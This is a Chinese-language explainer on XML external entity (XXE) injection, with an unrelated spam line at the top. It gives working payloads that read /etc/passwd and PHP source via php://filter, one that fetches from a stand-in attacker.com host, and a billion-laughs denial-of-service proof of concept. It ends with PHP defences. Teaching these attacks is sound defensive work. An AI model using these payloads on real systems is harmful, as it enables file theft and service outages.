自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

科普:XXE注入攻擊與防御

安全 黑客攻防
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊。漏洞是在對非安全的外部實體數(shù)據(jù)進⾏行處理時引發(fā)的安全問題。

0×00 前言

XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體數(shù)據(jù)進⾏行處理時引發(fā)的安全問題.

[[115831]]

在XML1.0標準⾥里,XML文檔結(jié)構(gòu)⾥里定義了實體(entity)這個概念.實體可以通過預(yù)定義在文檔中調(diào)用,實體的標識符可訪問本地或遠程內(nèi)容.如果在這個過程中引入了”污染”源,在對XML文檔處理后則可能導(dǎo)致信息泄漏等安全問題.

0×01 威脅

XXE漏洞目前還未受到廣泛關(guān)注,Wooyun上幾個XXE引起的安全問題:

pull-in任意文件遍歷/下載
從開源中國的某XXE漏洞到主站shell
百度某功能XML實體注入
百度某功能XML實體注入(二)

借助XXE,攻擊者可以實現(xiàn)任意文件讀取,DOS拒絕服務(wù)攻擊以及代理掃描內(nèi)網(wǎng)等.

對于不同XML解析器,對外部實體有不同處理規(guī)則,在PHP中默認處理的函數(shù)為: xml_parse和simplexml_load xml_parse的實現(xiàn)方式為expat庫,默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅.除PHP外,在Java,Python等處理xml的組件及函數(shù)中都可能存在此問題

0×02 語法

要寫Payload,首先要對XML實體語法有一定了解

XML中entity的定義語法為:

  1. <!DOCTYPE filename  
  2. [  
  3. <!ENTITY entity-name "entity-content"  
  4. ]> 

如果要引用一個外部資源,可以借助各種協(xié)議 幾個例子:

  1. file:///path/to/file.ext  
  2. http://url/file.ext  
  3. php://filter/read=convert.base64-encode/resource=conf.php  

故構(gòu)造幾種簡單的Payload模型如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

亦可讀取網(wǎng)站內(nèi)容

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

如果包含文件失敗,可能是由于讀取php等文件時文件本身包含的<等字符.可以使用Base64編碼繞過,如:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

0×03 攻擊

借助XXE,有幾種可用且公開的攻擊方式:

拒絕服務(wù)

POC

  1. <?xml version = "1.0"?> 
  2. <!DOCTYPE lolz [  
  3. <!ENTITY lol "lol"> 
  4. <!ELEMENT lolz (#PCDATA)> 
  5. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  6. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
  7. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
  8. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
  9. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
  10. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
  11. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
  12. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
  13. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> 
  14. <lolz>&lol9;</lolz> 

POC中中先定義了lol實體,值為”lol”的字符串,后在下面又定義了lol2實體,lol2實體引用10個lol實體,lol3又引用了10個lol2實體的值,依此類推,到了最后在lolz元素中引用的lol9中,就會存在上億個”lol”字符串此時解析數(shù)據(jù)時未做特別處理,即可能造成拒絕服務(wù)攻擊。

此外還有一種可能造成拒絕服務(wù)的Payload,借助讀取/dev/random實現(xiàn).

內(nèi)網(wǎng)信息

借助各種協(xié)議如http,XXE可以協(xié)助掃描內(nèi)網(wǎng),可能可以訪問到內(nèi)網(wǎng)開放WEB服務(wù)的Server,并獲取其他信息

XXE注入攻擊與防御

文件讀取

最常規(guī)也是最有效的利用思路

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

附上兩張截圖,實現(xiàn)文件讀取的過程

XXE注入攻擊與防御 

XXE注入攻擊與防御

 

0×04 防御

1.檢查所使用的底層xml解析庫,默認禁止外部實體的解析

2.使用第三方應(yīng)用代碼及時升級補丁

3.同時增強對系統(tǒng)的監(jiān)控,防止此問題被人利用

對于PHP,由于simplexml_load_string函數(shù)的XML解析問題出在libxml庫上,所以加載實體前可以調(diào)用這樣一個函數(shù)

  1. <?php 
  2. libxml_disable_entity_loader(true);  
  3. ?> 

以進行防護,對于XMLReader和DOM方式解析,可以參考如下代碼:

  1. <?php // with the XMLReader functionality:  $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);  // with the DOM functionality:  $dom = new DOMDocument();  $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);  ?>>  

0×05 參考

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)

http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html

http://cn2.php.net/libxml_disable_entity_loader

http://projects.webappsec.org/w/page/13247004/XML%20Injection

http://drops.wooyun.org/papers/1911

責(zé)任編輯:藍雨淚 來源: 網(wǎng)絡(luò)安全攻防研究室
相關(guān)推薦

2017-05-08 14:33:51

2017-02-23 07:00:25

2010-09-08 13:10:03

2019-02-22 09:00:00

2012-11-30 14:54:48

2012-02-14 09:43:08

2015-02-13 13:11:15

2013-07-27 20:19:14

2015-05-18 13:51:08

2014-04-08 16:02:28

寬字節(jié)注入數(shù)據(jù)安全MYSQL

2017-05-05 11:31:34

2015-11-09 15:58:03

2010-09-14 16:00:16

2016-09-29 22:54:55

2014-04-15 11:22:24

2019-04-08 18:23:31

2009-01-16 10:40:50

2010-09-13 09:20:21

2013-06-24 10:16:45

2010-07-19 21:52:35

點贊
收藏

51CTO技術(shù)棧公眾號